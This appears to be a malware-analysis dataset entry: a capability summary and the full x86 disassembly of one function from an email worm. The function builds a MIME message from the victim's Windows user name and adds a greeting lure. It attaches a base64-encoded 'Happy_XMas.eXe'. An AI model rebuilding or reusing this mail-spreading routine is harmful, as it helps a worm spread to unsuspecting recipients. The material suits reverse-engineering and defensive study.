Function at 0x403a65
Capabilities:
Get session user name
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x407a6b
push dword [ebp + 0xc]
call sub.CRTDLL.DLL_fopen
mov dword [ebp - 0xc], eax
push 0x4078ba
push dword [ebp + 8]
call sub.CRTDLL.DLL_fopen
add esp, 0x10
mov esi, eax
cmp dword [ebp - 0xc], 0
je 0x403a9a
or esi, esi
jne 0x403a9f
jmp 0x403ce0
push 2
push 0
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fseek
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_ftell
mov dword [ebp - 4], eax
push 0
push 0
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fseek
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
mov dword [ebp - 0x10], eax
mov edi, dword [ebp - 4]
shl edi, 1
push edi
call sub.CRTDLL.DLL_malloc
mov ebx, eax
push dword [ebp - 0xc]
push dword [ebp - 4]
push 1
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_fread
mov edi, dword [ebp - 4]
mov edx, edi
shl edx, 1
push edx
push ebx
push edi
push dword [ebp - 0x10]
call fcn.00402fb9
mov dword [ebp - 8], eax
push esi
push str.From:__
call sub.CRTDLL.DLL_fputs
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
call sub.ADVAPI32.DLL_GetUserNameA
push esi
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_fputs
push esi
push 0x4078ae
call sub.CRTDLL.DLL_fputs
push esi
push 0x405bd0
call sub.CRTDLL.DLL_fputs
push esi
push str.__nTo:_Friend__victim_i_worm.gigu_
call sub.CRTDLL.DLL_fputs
push esi
push str._nSubject:
call sub.CRTDLL.DLL_fputs
add esp, 0x74
call sub.CRTDLL.DLL_rand
push esi
mov edx, eax
and edx, 0x80000003
jge 0x403b63
dec edx
or edx, 0xfffffffc
inc edx
mov edi, edx
shl edi, 4
lea edi, [edi + 0x4074b7]
push edi
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str._nDate:_Sat__31_Aug_2003_21:32:30_0530_nMIME_Version:_1.0_nContent_Type:_multipart_mixed_
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str._n_tboundary______NextPart_000_001E_01C24D48.186EE4E0__nX_Priority:_3_nX_MSMail_Priority:_Normal
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str._nX_MimeOLE:_Produced_By_Microsoft_MimeOLE_V5.50.4522.1200_n_nThis_is_a_multi_part_message_in_MIME_format.
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str._n_n_______NextPart_000_001E_01C24D48.186EE4E0_nContent_Type:_text_plain__n_tcharset_iso_8859_1_
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str._nContent_Transfer_Encoding:_7bit_n_n
call sub.CRTDLL.DLL_fputs
add esp, 8
call sub.CRTDLL.DLL_rand
push esi
mov edx, eax
and edx, 0x80000003
jge 0x403bd3
dec edx
or edx, 0xfffffffc
inc edx
mov edi, edx
shl edi, 5
lea edi, [edi + str.Ive_a_greeting_attached_:__]
push edi
call sub.CRTDLL.DLL_fputs
add esp, 8
call sub.CRTDLL.DLL_rand
mov edx, eax
and edx, 0x80000003
jge 0x403bfc
dec edx
or edx, 0xfffffffc
inc edx
mov dword [ebp - 4], edx
push esi
push str._n_n_______NextPart_000_001E_01C24D48.186EE4E0_nContent_Type:_application_x_msdownload_
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str._n_tname_
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
mov eax, 0x14
mul dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + str.Happy_XMas.eXe]
push eax
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push str.__nContent_Transfer_Encoding:_base64_nContent_Disposition:_attachment__n_tfilename_
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
mov eax, 0x14
mul dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
lea eax, [eax + str.Happy_XMas.eXe]
push eax
call sub.CRTDLL.DLL_fputs
add esp, 8
push esi
push 0x40762d
call sub.CRTDLL.DLL_fputs
add esp, 8
mov dword [ebp - 4], 1
jmp 0x403cae
push esi
mov eax, dword [ebp - 4]
dec eax
movzx eax, byte [ebx + eax]
push eax
call sub.CRTDLL.DLL_fputc
add esp, 8
mov eax, dword [ebp - 4]
mov ecx, 0x4c
xor edx, edx
div ecx
or edx, edx
jne 0x403cab
push esi
push 0xa
call sub.CRTDLL.DLL_fputc
add esp, 8
inc dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp dword [ebp - 4], eax
jbe 0x403c7e
push esi
push str._n_n_______NextPart_000_001E_01C24D48.186EE4E0___n
call sub.CRTDLL.DLL_fputs
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fclose
push esi
call sub.CRTDLL.DLL_fclose
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_free
push ebx
call sub.CRTDLL.DLL_free
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret